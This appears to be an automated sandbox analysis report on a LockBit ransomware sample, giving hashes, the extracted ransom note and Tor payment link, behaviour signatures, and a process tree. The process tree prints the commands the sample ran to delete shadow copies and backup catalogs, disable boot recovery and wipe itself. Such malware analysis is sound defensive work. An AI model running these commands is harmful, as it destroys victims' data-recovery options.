Analysis
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max time kernel
960s -
max time network
997s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
24-08-2021 05:46
General
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Target
26b6a9fecfc9d4b4b2c2ff02885b257721687e6b820f72cf2e66c1cae2675739.exe
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Size
150KB
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MD5
207718c939673a5f674ce51f402cfc06
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SHA1
791f60a24f9b6589a2afed48b3ec17fad43bc1db
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SHA256
26b6a9fecfc9d4b4b2c2ff02885b257721687e6b820f72cf2e66c1cae2675739
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SHA512
61a00f0da602100ca4913e94720f873ef682b793e246d9e7e119c9947c102e2888be64cee72e851ef3d24fbbd671cbe70af162f10049e8ef75b475b4a032e701
Score
10/10
Malware Config
Extracted
Path
C:\Program Files\7-Zip\Restore-My-Files.txt
Family
lockbit
Ransom Note
All your important files are encrypted!
Any attempts to restore your files with the thrid-party software will be fatal for your files!
RESTORE YOU DATA POSIBLE ONLY BUYING private key from us.
There is only one way to get your files back:
| 1. Download Tor browser - https://www.torproject.org/ and install it.
| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?92727EE520AEBC7DE924ECA22D0A0ED0
This link only works in Tor Browser!
| 3. Follow the instructions on this page
### Attention! ###
# Do not rename encrypted files.
# Do not try to decrypt using third party software, it may cause permanent data loss.
# Decryption of your files with the help of third parties may cause increased price(they add their fee to our).
# Tor Browser may be blocked in your country or corporate network. Use https://bridges.torproject.org or use Tor Browser over VPN.
# Tor Browser user manual https://tb-manual.torproject.org/about
!!! We also download huge amount of your private data, including finance information, clients personal info, network diagrams, passwords and so on.
Don't forget about GDPR.
URLs
http://lockbitks2tvnmwk.onion/?92727EE520AEBC7DE924ECA22D0A0ED0
Signatures
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Lockbit
Ransomware family with multiple variants released since late 2019.
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Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
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Deletes backup catalog 3 TTPs 1 IoCs
Uses wbadmin.exe to inhibit system recovery.
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Modifies extensions of user files 5 IoCs
Ransomware generally changes the extension on encrypted files.
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Adds Run key to start application 2 TTPs 2 IoCs
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Sets desktop wallpaper using registry 2 TTPs 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs
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Drops file in Program Files directory 64 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
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Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
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Modifies Control Panel 2 IoCs
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Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 7 IoCs
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Suspicious behavior: GetForegroundWindowSpam 1 IoCs
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Suspicious use of AdjustPrivilegeToken 49 IoCs
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Suspicious use of WriteProcessMemory 35 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\26b6a9fecfc9d4b4b2c2ff02885b257721687e6b820f72cf2e66c1cae2675739.exe"C:\Users\Admin\AppData\Local\Temp\26b6a9fecfc9d4b4b2c2ff02885b257721687e6b820f72cf2e66c1cae2675739.exe"1⤵
- Modifies extensions of user files
- Adds Run key to start application
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Modifies Control Panel
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no3⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet3⤵
- Deletes backup catalog
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "C:\Users\Admin\AppData\Local\Temp\26b6a9fecfc9d4b4b2c2ff02885b257721687e6b820f72cf2e66c1cae2675739.exe" & Del /f /q "C:\Users\Admin\AppData\Local\Temp\26b6a9fecfc9d4b4b2c2ff02885b257721687e6b820f72cf2e66c1cae2675739.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\PING.EXEping 127.0.0.7 -n 33⤵
- Runs ping.exe
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C:\Windows\SysWOW64\fsutil.exefsutil file setZeroData offset=0 length=524288 "C:\Users\Admin\AppData\Local\Temp\26b6a9fecfc9d4b4b2c2ff02885b257721687e6b820f72cf2e66c1cae2675739.exe"3⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 368 -s 38442⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/368-60-0x0000000075971000-0x0000000075973000-memory.dmpFilesize
8KB
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memory/856-63-0x0000000000000000-mapping.dmp
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memory/1048-72-0x0000000000000000-mapping.dmp
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memory/1936-62-0x0000000000000000-mapping.dmp
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memory/1960-61-0x0000000000000000-mapping.dmp
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memory/2756-64-0x0000000000000000-mapping.dmp
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memory/2760-68-0x0000000000000000-mapping.dmp
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memory/2812-65-0x0000000000000000-mapping.dmp
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memory/2828-66-0x0000000000000000-mapping.dmp
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memory/2828-67-0x000007FEFBE41000-0x000007FEFBE43000-memory.dmpFilesize
8KB
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memory/2840-69-0x0000000000000000-mapping.dmp
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memory/2840-71-0x00000000023B0000-0x00000000023DA000-memory.dmpFilesize
168KB
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memory/2884-70-0x0000000000000000-mapping.dmp